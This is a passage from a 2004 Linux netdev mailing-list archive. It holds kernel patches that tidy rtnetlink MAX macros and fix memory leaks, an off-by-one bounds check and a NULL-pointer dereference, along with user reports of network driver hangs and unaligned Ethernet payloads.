IFLA_INET6_CONF, /* sysctl parameters */ IFLA_INET6_STATS, /* statistics */ IFLA_INET6_MCAST, /* MC things. What of them? */ + __IFLA_INET6_MAX }; -#define IFLA_INET6_MAX IFLA_INET6_MCAST +#define IFLA_INET6_MAX (__IFLA_INET6_MAX - 1) /***************************************************************** * Traffic control messages. @@ -520,9 +528,10 @@ TCA_STATS, TCA_XSTATS, TCA_RATE, + __TCA_MAX }; -#define TCA_MAX TCA_RATE +#define TCA_MAX (__TCA_MAX - 1) #define TCA_RTA(r) ((struct rtattr*)(((char*)(r)) + NLMSG_ALIGN(sizeof(struct tcmsg)))) #define TCA_PAYLOAD(n) NLMSG_PAYLOAD(n,sizeof(struct tcmsg)) -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Fri May 28 02:25:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 02:25:11 -0700 (PDT) Received: from yue.st-paulia.net ([203.178.140.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4S9P2gi028264 for ; Fri, 28 May 2004 02:25:06 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.st-paulia.net (Postfix) with ESMTP id F40A833CE5; Fri, 28 May 2004 18:25:38 +0900 (JST) Date: Fri, 28 May 2004 18:25:38 +0900 (JST) Message-Id: <20040528.182538.116783344.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IFA_MAX sets wrong in rtnetlink.h From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040528.141200.564308976.yoshfuji@linux-ipv6.org> References: <20040528.134802.953480362.yoshfuji@linux-ipv6.org> <20040527220756.7c41a55b.davem@redhat.com> <20040528.141200.564308976.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-archive-position: 5421 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <20040528.141200.564308976.yoshfuji@linux-ipv6.org> (at Fri, 28 May 2004 14:12:00 +0900 (JST)), YOSHIFUJI Hideaki / $B5HF#1QL@(B says: > In article <20040527220756.7c41a55b.davem@redhat.com> (at Thu, 27 May 2004 22:07:56 -0700), "David S. Miller" says: > > > On Fri, 28 May 2004 13:48:02 +0900 (JST) > > YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > > > > > enum { > > > : > > > IFA_CACHEINFO, > > > IFA_MULTICAST, /* added */ > > > __IFA_MAX > > > }; > > > > > > #define IFA_MAX (__IFA_MAX - 1) > > > > I like this last technique the best, one-line diffs :-) > > Ok, I'll do this. Here's the patch for 2.6. Please apply on top of the Sirley's patch. --- linux-2.6+max/include/linux/rtnetlink.h Fri May 28 17:56:55 2004 +++ linux-2.6+automax/include/linux/rtnetlink.h Fri May 28 17:55:55 2004 @@ -118,9 +118,10 @@ RTN_THROW, /* Not in this table */ RTN_NAT, /* Translate this address */ RTN_XRESOLVE, /* Use external resolver */ + __RTN_MAX }; -#define RTN_MAX RTN_XRESOLVE +#define RTN_MAX (__RTN_MAX - 1) /* rtm_protocol */ @@ -183,9 +184,10 @@ /* User defined values */ RT_TABLE_DEFAULT=253, RT_TABLE_MAIN=254, - RT_TABLE_LOCAL=255 + RT_TABLE_LOCAL=255, + __RT_TABLE_MAX }; -#define RT_TABLE_MAX RT_TABLE_LOCAL +#define RT_TABLE_MAX (__RT_TABLE_MAX - 1) @@ -207,9 +209,10 @@ RTA_FLOW, RTA_CACHEINFO, RTA_SESSION, + __RTA_MAX }; -#define RTA_MAX RTA_SESSION +#define RTA_MAX (__RTA_MAX - 1) #define RTM_RTA(r) ((struct rtattr*)(((char*)(r)) + NLMSG_ALIGN(sizeof(struct rtmsg)))) #define RTM_PAYLOAD(n) NLMSG_PAYLOAD(n,sizeof(struct rtmsg)) @@ -294,9 +297,10 @@ #define RTAX_INITCWND RTAX_INITCWND RTAX_FEATURES, #define RTAX_FEATURES RTAX_FEATURES + __RTAX_MAX }; -#define RTAX_MAX RTAX_FEATURES +#define RTAX_MAX (__RTAX_MAX - 1) #define RTAX_FEATURE_ECN 0x00000001 #define RTAX_FEATURE_SACK 0x00000002 @@ -345,10 +349,11 @@ IFA_BROADCAST, IFA_ANYCAST, IFA_CACHEINFO, - IFA_MULTICAST + IFA_MULTICAST, + __IFA_MAX }; -#define IFA_MAX IFA_MULTICAST +#define IFA_MAX (__IFA_MAX - 1) /* ifa_flags */ @@ -399,10 +404,11 @@ NDA_UNSPEC, NDA_DST, NDA_LLADDR, - NDA_CACHEINFO + NDA_CACHEINFO, + __NDA_MAX }; -#define NDA_MAX NDA_CACHEINFO +#define NDA_MAX (__NDA_MAX - 1) #define NDA_RTA(r) ((struct rtattr*)(((char*)(r)) + NLMSG_ALIGN(sizeof(struct ndmsg)))) #define NDA_PAYLOAD(n) NLMSG_PAYLOAD(n,sizeof(struct ndmsg)) @@ -485,9 +491,10 @@ PREFIX_UNSPEC, PREFIX_ADDRESS, PREFIX_CACHEINFO, + __PREFIX_MAX }; -#define PREFIX_MAX PREFIX_CACHEINFO +#define PREFIX_MAX (__PREFIX_MAX - 1) struct prefix_cacheinfo { @@ -549,10 +556,11 @@ #define IFLA_WIRELESS IFLA_WIRELESS IFLA_PROTINFO, /* Protocol specific information for a link */ #define IFLA_PROTINFO IFLA_PROTINFO + __IFLA_MAX }; -#define IFLA_MAX IFLA_PROTINFO +#define IFLA_MAX (__IFLA_MAX - 1) #define IFLA_RTA(r) ((struct rtattr*)(((char*)(r)) + NLMSG_ALIGN(sizeof(struct ifinfomsg)))) #define IFLA_PAYLOAD(n) NLMSG_PAYLOAD(n,sizeof(struct ifinfomsg)) @@ -595,8 +603,11 @@ IFLA_INET6_STATS, /* statistics */ IFLA_INET6_MCAST, /* MC things. What of them? */ IFLA_INET6_CACHEINFO, /* time values and max reasm size */ + __IFLA_INET6_MAX }; +#define IFLA_INET6_MAX (__IFLA_INET6_MAX - 1) + struct ifla_cacheinfo { __u32 max_reasm_len; @@ -605,8 +616,6 @@ __u32 retrans_time; }; -#define IFLA_INET6_MAX IFLA_INET6_CACHEINFO - /***************************************************************** * Traffic control messages. ****/ @@ -630,9 +639,10 @@ TCA_STATS, TCA_XSTATS, TCA_RATE, + __TCA_MAX }; -#define TCA_MAX TCA_RATE +#define TCA_MAX (__TCA_MAX - 1) #define TCA_RTA(r) ((struct rtattr*)(((char*)(r)) + NLMSG_ALIGN(sizeof(struct tcmsg)))) #define TCA_PAYLOAD(n) NLMSG_PAYLOAD(n,sizeof(struct tcmsg)) --- linux-2.6+max/include/linux/pkt_cls.h 2002-02-06 02:39:42 +09:00 +++ linux-2.6+automax/include/linux/pkt_cls.h 2004-05-28 17:53:49 +09:00 @@ -24,11 +24,12 @@ TCA_POLICE_RATE, TCA_POLICE_PEAKRATE, TCA_POLICE_AVRATE, - TCA_POLICE_RESULT + TCA_POLICE_RESULT, #define TCA_POLICE_RESULT TCA_POLICE_RESULT + __TCA_POLICE_MAX }; -#define TCA_POLICE_MAX TCA_POLICE_RESULT +#define TCA_POLICE_MAX (__TCA_POLICE_MAX - 1) /* U32 filters */ @@ -49,9 +50,10 @@ TCA_U32_DIVISOR, TCA_U32_SEL, TCA_U32_POLICE, + __TCA_U32_MAX }; -#define TCA_U32_MAX TCA_U32_POLICE +#define TCA_U32_MAX (__TCA_U32_MAX - 1) struct tc_u32_key { @@ -97,9 +99,10 @@ TCA_RSVP_SRC, TCA_RSVP_PINFO, TCA_RSVP_POLICE, + __TCA_RSVP_MAX }; -#define TCA_RSVP_MAX TCA_RSVP_POLICE +#define TCA_RSVP_MAX (__TCA_RSVP_MAX - 1) struct tc_rsvp_gpi { @@ -127,9 +130,10 @@ TCA_ROUTE4_FROM, TCA_ROUTE4_IIF, TCA_ROUTE4_POLICE, + __TCA_ROUTE4_MAX }; -#define TCA_ROUTE4_MAX TCA_ROUTE4_POLICE +#define TCA_ROUTE4_MAX (__TCA_ROUTE4_MAX - 1) /* FW filter */ @@ -139,9 +143,10 @@ TCA_FW_UNSPEC, TCA_FW_CLASSID, TCA_FW_POLICE, + __TCA_FW_MAX }; -#define TCA_FW_MAX TCA_FW_POLICE +#define TCA_FW_MAX (__TCA_FW_MAX - 1) /* TC index filter */ @@ -154,8 +159,9 @@ TCA_TCINDEX_FALL_THROUGH, TCA_TCINDEX_CLASSID, TCA_TCINDEX_POLICE, + __TCA_TCINDEX_MAX }; -#define TCA_TCINDEX_MAX TCA_TCINDEX_POLICE +#define TCA_TCINDEX_MAX (__TCA_TCINDEX_MAX - 1) #endif --- linux-2.6+max/include/linux/xfrm.h 2003-08-08 13:04:46 +09:00 +++ linux-2.6+automax/include/linux/xfrm.h 2004-05-28 17:01:28 +09:00 @@ -152,8 +152,9 @@ XFRMA_ALG_COMP, /* struct xfrm_algo */ XFRMA_ENCAP, /* struct xfrm_algo + struct xfrm_encap_tmpl */ XFRMA_TMPL, /* 1 or more struct xfrm_user_tmpl */ + __XFRMA_MAX -#define XFRMA_MAX XFRMA_TMPL +#define XFRMA_MAX (__XFRMA_MAX - 1) }; struct xfrm_usersa_info { -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From abhijitk@veritas.com Fri May 28 03:10:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 03:11:02 -0700 (PDT) Received: from MTVMIME01.enterprise.veritas.com (bay-bridge.veritas.com [143.127.3.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4SAAxgi031944 for ; Fri, 28 May 2004 03:10:59 -0700 Received: from vxindia.veritas.com (unverified) by MTVMIME01.enterprise.veritas.com (Content Technologies SMTPRS 4.3.12) with ESMTP id for ; Fri, 28 May 2004 03:10:53 -0700 Received: from localhost (abhijitk@localhost) by vxindia.veritas.com (8.11.6+Sun/8.9.3) with ESMTP id i4SA3VL23689 for ; Fri, 28 May 2004 15:33:31 +0530 (IST) X-Authentication-Warning: revati.vxindia.veritas.com: abhijitk owned process doing -bs Date: Fri, 28 May 2004 15:33:31 +0530 (IST) From: Abhijit Karmarkar X-X-Sender: abhijitk@revati To: netdev@oss.sgi.com Subject: unaligned ethernet payload in bcm5701? Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-archive-position: 5423 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: abhijitk@veritas.com Precedence: bulk X-list: netdev hello, i am using tg3 driver (ver 2.2, part of RHEL3) with Broadcom GigE, 5701 chipset. and i see this particular chipset delivering ethernet frames w/ payloads not aligned at word (4 byte) boundaries. (though not always, but occasionally). none of the other broadcom chips (BCM570[0|2|3|4]) deliver such unaligned pkts. is something peculiar with the bcm5701? and is this a known issue with this chipset? thanks, abhijit Note: 1. sysinfo: Dell 2650, 2-way 2.5GHz Xeon, 4GB RAM. 2.4.21-4.ELsmp 2. the lspci -vv output for this card is: 03:06.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5701 Gigabit Ethernet (rev 15) Subsystem: Dell Computer Corporation Broadcom BCM5701 1000Base-T Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop-ParErr- Stepping- SERR+ FastB2B- Status: Cap+ 66Mhz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort-SERR- ; Fri, 28 May 2004 03:35:45 -0700 Received: from draigBrady.com (pixelbeat.local.corvil.com [172.18.1.170]) by corvil.com (8.12.9/8.12.5) with ESMTP id i4SAZVaq062038; Fri, 28 May 2004 11:35:32 +0100 (IST) (envelope-from P@draigBrady.com) Message-ID: <40B715F3.9010200@draigBrady.com> Date: Fri, 28 May 2004 11:35:31 +0100 From: P@draigBrady.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040124 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Andrew Morton CC: netdev@oss.sgi.com, dav@neocom.fr Subject: Re: Fw: [Bugme-new] [Bug 2782] New: ksoftirqd load system, kernel hang after a few minuts References: <20040527115311.472d3c3a.akpm@osdl.org> In-Reply-To: <20040527115311.472d3c3a.akpm@osdl.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed X-MIME-Autoconverted: from 8bit to quoted-printable by corvil.com id i4SAZVaq062038 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4SAZigi000585 X-archive-position: 5424 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: P@draigBrady.com Precedence: bulk X-list: netdev Andrew Morton wrote: > Suggest you try an up-to-date kernel. > > Begin forwarded message: > > Date: Thu, 27 May 2004 09:19:49 -0700 > From: bugme-daemon@osdl.org > To: bugme-new@lists.osdl.org > Subject: [Bugme-new] [Bug 2782] New: ksoftirqd load system, kernel hang after a few minuts > > > http://bugme.osdl.org/show_bug.cgi?id=2782 > > Summary: ksoftirqd load system, kernel hang after a few minuts > Kernel Version: 2.4.20-2.4.22 > Status: NEW > Severity: blocking > Owner: other_other@kernel-bugs.osdl.org > Submitter: dav@neocom.fr I've just seen something similar with official 2.4.20+e1000 v5.2.30.1 on a Dual Intel Xeon CPU 2.6G+hyperthreading. Note I use IRQ affinity so both ksoftirqd_CPU[02] are at 100%. The following is repeatable in about a minute which is good. I send in around 700,000 packets per second on each of 2 interfaces, and let the packets continually overflow the (4096 entry) buffers. After about a minute I can't receive any traffic, and a couple of occasions the machine just rebooted, so something is getting corrupted. I was suspecting the e1000 driver buffer management until I seen this? Pádraig. From kaber@trash.net Fri May 28 03:50:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 03:50:28 -0700 (PDT) Received: from gw.localnet (port-195-158-167-243.dynamic.qsc.de [195.158.167.243]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4SAoMgi001465 for ; Fri, 28 May 2004 03:50:22 -0700 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1BTewF-00058q-00; Fri, 28 May 2004 12:50:11 +0200 Message-ID: <40B71975.1080909@trash.net> Date: Fri, 28 May 2004 12:50:29 +0200 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040413 Debian/1.6-5 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: netdev@oss.sgi.com Subject: [PATCH]: Fix memory leak in ah6.c Content-Type: multipart/mixed; boundary="------------050200030200070506070809" X-archive-position: 5425 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------050200030200070506070809 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi Dave, this patch fixes a memory leak in ah6.c. iph is not freed when ipv6_clear_mutable_options fails. Regards Patrick --------------050200030200070506070809 Content-Type: text/x-patch; name="ah6-memleak.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="ah6-memleak.diff" # This is a BitKeeper generated diff -Nru style patch. # # ChangeSet # 2004/05/28 12:21:37+02:00 kaber@trash.net # [IPSEC]: Fix memory leak in ah6.c # # net/ipv6/ah6.c # 2004/05/28 12:21:29+02:00 kaber@trash.net +3 -1 # [IPSEC]: Fix memory leak in ah6.c # diff -Nru a/net/ipv6/ah6.c b/net/ipv6/ah6.c --- a/net/ipv6/ah6.c 2004-05-28 12:34:25 +02:00 +++ b/net/ipv6/ah6.c 2004-05-28 12:34:25 +02:00 @@ -190,7 +190,7 @@ memcpy(skb->nh.ipv6h, iph, hdr_len); nexthdr = ipv6_clear_mutable_options(skb, &nh_offset, XFRM_POLICY_OUT); if (nexthdr == 0) - goto error; + goto error_free_iph; skb->nh.raw[nh_offset] = IPPROTO_AH; skb->nh.ipv6h->payload_len = htons(skb->len - sizeof(struct ipv6hdr)); @@ -239,6 +239,8 @@ goto error_nolock; } return NET_XMIT_BYPASS; +error_free_iph: + kfree(iph); error: spin_unlock_bh(&x->lock); error_nolock: --------------050200030200070506070809-- From kaber@trash.net Fri May 28 03:53:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 03:53:18 -0700 (PDT) Received: from gw.localnet (port-195-158-167-243.dynamic.qsc.de [195.158.167.243]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4SAr7gi001847 for ; Fri, 28 May 2004 03:53:08 -0700 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1BTeyw-0005IJ-00; Fri, 28 May 2004 12:52:58 +0200 Message-ID: <40B71A1C.5080400@trash.net> Date: Fri, 28 May 2004 12:53:16 +0200 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040413 Debian/1.6-5 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: netdev@oss.sgi.com Subject: [PATCH]: Fix off-by-one in max protocol-type check Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5426 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev This patch fixes an off-by-one in inet_register_protosw and inet6_register_protosw. inetsw is an array of size SOCK_MAX, the check allows access to index SOCK_MAX. Patch applies to 2.4 and 2.6. Regards Patrick From kaber@trash.net Fri May 28 03:54:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 03:54:20 -0700 (PDT) Received: from gw.localnet (port-195-158-167-243.dynamic.qsc.de [195.158.167.243]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4SAsHgi002193 for ; Fri, 28 May 2004 03:54:18 -0700 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1BTf04-0005NH-00; Fri, 28 May 2004 12:54:08 +0200 Message-ID: <40B71A62.6050008@trash.net> Date: Fri, 28 May 2004 12:54:26 +0200 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040413 Debian/1.6-5 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: netdev@oss.sgi.com Subject: [PATCH]: Fix skb leak in igmpv3_newpack Content-Type: multipart/mixed; boundary="------------080406080103060508000105" X-archive-position: 5427 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------080406080103060508000105 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit This patch fixes an skb-leak in igmpv3_newpack. skb isn't freed when rt->rt_src == 0. Patch applies to 2.4 and 2.6. Regards Patrick --------------080406080103060508000105 Content-Type: text/x-patch; name="igmpv3_newpack-skbleak.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="igmpv3_newpack-skbleak.diff" # This is a BitKeeper generated diff -Nru style patch. # # ChangeSet # 2004/05/28 12:30:41+02:00 kaber@trash.net # [IPV4]: Fix skb leak in igmpv3_newpack # # net/ipv4/igmp.c # 2004/05/28 12:30:34+02:00 kaber@trash.net +1 -0 # [IPV4]: Fix skb leak in igmpv3_newpack # diff -Nru a/net/ipv4/igmp.c b/net/ipv4/igmp.c --- a/net/ipv4/igmp.c 2004-05-28 12:35:28 +02:00 +++ b/net/ipv4/igmp.c 2004-05-28 12:35:28 +02:00 @@ -292,6 +292,7 @@ } } if (rt->rt_src == 0) { + kfree_skb(skb); ip_rt_put(rt); return 0; } --------------080406080103060508000105-- From kaber@trash.net Fri May 28 03:55:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 03:55:51 -0700 (PDT) Received: from gw.localnet (port-195-158-167-243.dynamic.qsc.de [195.158.167.243]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4SAtmgi002535 for ; Fri, 28 May 2004 03:55:48 -0700 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1BTf1W-0005UC-00; Fri, 28 May 2004 12:55:38 +0200 Message-ID: <40B71ABD.5060600@trash.net> Date: Fri, 28 May 2004 12:55:57 +0200 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040413 Debian/1.6-5 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: netdev@oss.sgi.com Subject: Re: [PATCH]: Fix off-by-one in max protocol-type check References: <40B71A1C.5080400@trash.net> In-Reply-To: <40B71A1C.5080400@trash.net> Content-Type: multipart/mixed; boundary="------------000107050809030105030804" X-archive-position: 5428 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------000107050809030105030804 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Patrick McHardy wrote: > This patch fixes an off-by-one in inet_register_protosw and > inet6_register_protosw. inetsw is an array of size SOCK_MAX, > the check allows access to index SOCK_MAX. Patch applies > to 2.4 and 2.6. Forgot the patch, sorry ;) > > Regards > Patrick > --------------000107050809030105030804 Content-Type: text/x-patch; name="protocol-type-off-by-one.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="protocol-type-off-by-one.diff" # This is a BitKeeper generated diff -Nru style patch. # # ChangeSet # 2004/05/28 12:24:03+02:00 kaber@trash.net # [IPV4,6]: Fix off-by-one in max protocol-type check # # net/ipv6/af_inet6.c # 2004/05/28 12:23:56+02:00 kaber@trash.net +1 -1 # [IPV4,6]: Fix off-by-one in max protocol-type check # # net/ipv4/af_inet.c # 2004/05/28 12:23:56+02:00 kaber@trash.net +1 -1 # [IPV4,6]: Fix off-by-one in max protocol-type check # diff -Nru a/net/ipv4/af_inet.c b/net/ipv4/af_inet.c --- a/net/ipv4/af_inet.c 2004-05-28 12:35:06 +02:00 +++ b/net/ipv4/af_inet.c 2004-05-28 12:35:06 +02:00 @@ -978,7 +978,7 @@ spin_lock_bh(&inetsw_lock); - if (p->type > SOCK_MAX) + if (p->type >= SOCK_MAX) goto out_illegal; /* If we are trying to override a permanent protocol, bail. */ diff -Nru a/net/ipv6/af_inet6.c b/net/ipv6/af_inet6.c --- a/net/ipv6/af_inet6.c 2004-05-28 12:35:06 +02:00 +++ b/net/ipv6/af_inet6.c 2004-05-28 12:35:06 +02:00 @@ -572,7 +572,7 @@ spin_lock_bh(&inetsw6_lock); - if (p->type > SOCK_MAX) + if (p->type >= SOCK_MAX) goto out_illegal; /* If we are trying to override a permanent protocol, bail. */ --------------000107050809030105030804-- From kaber@trash.net Fri May 28 03:56:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 03:56:46 -0700 (PDT) Received: from gw.localnet (port-195-158-167-243.dynamic.qsc.de [195.158.167.243]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4SAuggi002861 for ; Fri, 28 May 2004 03:56:43 -0700 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1BTf2P-0005XT-00; Fri, 28 May 2004 12:56:33 +0200 Message-ID: <40B71AF2.2020503@trash.net> Date: Fri, 28 May 2004 12:56:50 +0200 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040413 Debian/1.6-5 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: netdev@oss.sgi.com, jt@bougret.hpl.hp.com Subject: [PATCH]: Fix NULL-ptr dereference in irlmp_get_saddr() Content-Type: multipart/mixed; boundary="------------010800020208070209080801" X-archive-position: 5429 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------010800020208070209080801 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit This patch fixes a NULL-ptr dereference in irlmp_get_saddr. Regards Patrick --------------010800020208070209080801 Content-Type: text/x-patch; name="irlmp_get_saddr-NULL-ptr.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="irlmp_get_saddr-NULL-ptr.diff" # This is a BitKeeper generated diff -Nru style patch. # # ChangeSet # 2004/05/28 12:32:37+02:00 kaber@trash.net # [IRDA]: Fix NULL-ptr dereference in irlmp_get_saddr() # # include/net/irda/irlmp.h # 2004/05/28 12:32:30+02:00 kaber@trash.net +1 -1 # [IRDA]: Fix NULL-ptr dereference in irlmp_get_saddr() # diff -Nru a/include/net/irda/irlmp.h b/include/net/irda/irlmp.h --- a/include/net/irda/irlmp.h 2004-05-28 12:35:56 +02:00 +++ b/include/net/irda/irlmp.h 2004-05-28 12:35:56 +02:00 @@ -251,7 +251,7 @@ static inline __u32 irlmp_get_saddr(const struct lsap_cb *self) { - return (self && !self->lap) ? self->lap->saddr : 0; + return (self && self->lap) ? self->lap->saddr : 0; } static inline __u32 irlmp_get_daddr(const struct lsap_cb *self) --------------010800020208070209080801-- From dtilloy@neocom.fr Fri May 28 05:00:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 05:00:21 -0700 (PDT) Received: from mx03.neocom.fr (mx03.neocom.fr [82.96.130.9]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4SC0Fgi008601 for ; Fri, 28 May 2004 05:00:16 -0700 Received: from mx03.neocom.fr (localhost.localdomain [127.0.0.1]) by localhost.neocom.fr (Postfix) with ESMTP id 6DC594C62E; Fri, 28 May 2004 14:01:13 +0200 (CEST) Received: from DTILLOY (unknown [82.96.129.128])by mx03.neocom.fr (Postfix) with SMTPid 567B54C22E; Fri, 28 May 2004 14:01:13 +0200 (CEST) From: "David TILLOY" To: , "Andrew Morton" Cc: Subject: RE: Fw: [Bugme-new] [Bug 2782] New: ksoftirqd load system, kernelha ng after a few minuts Date: Fri, 28 May 2004 14:00:08 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409 Importance: Normal In-Reply-To: <40B715F3.9010200@draigBrady.com> X-imss-version: 2.0 X-imss-result: Passed X-imss-scores: Clean:48.66901 C:20 M:1 S:5 R:5 X-imss-settings: Baseline:1 C:1 M:1 S:1 R:1 (0.0000 0.0000) X-archive-position: 5430 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dtilloy@neocom.fr Precedence: bulk X-list: netdev [...] > > http://bugme.osdl.org/show_bug.cgi?id=2782 > > > > Summary: ksoftirqd load system, kernel hang after a > few minuts > > Kernel Version: 2.4.20-2.4.22 > > Status: NEW > > Severity: blocking > > Owner: other_other@kernel-bugs.osdl.org > > Submitter: dav@neocom.fr > > I've just seen something similar with official 2.4.20+e1000 v5.2.30.1 > on a Dual Intel Xeon CPU 2.6G+hyperthreading. Note I use IRQ affinity > so both ksoftirqd_CPU[02] are at 100%. I've tried to use IRQ affinnity too, but without success, with or without. I've tried to switch hyperthreading off into bios, without more success. I've tried to deactive ACPI into bios too, problem is the same. > > The following is repeatable in about a minute which is good. > I send in around 700,000 packets per second on each of 2 interfaces, > and let the packets continually overflow the (4096 entry) buffers. > After about a minute I can't receive any traffic, and a couple > of occasions the machine just rebooted, so something is getting > corrupted. I was suspecting the e1000 driver buffer management until > I seen this? I've repeated this trouble with some NIC card. I've reproduced this with tg3 driver (Broadcom gigabit NIC), Dual Intel PRO/100S, tg2 driver and bcm5700 driver. regards, David. -- From khc@pm.waw.pl Fri May 28 06:09:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 06:09:10 -0700 (PDT) Received: from hq.pm.waw.pl (hq.pm.waw.pl [195.116.170.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4SD91gi014071 for ; Fri, 28 May 2004 06:09:03 -0700 Received: by 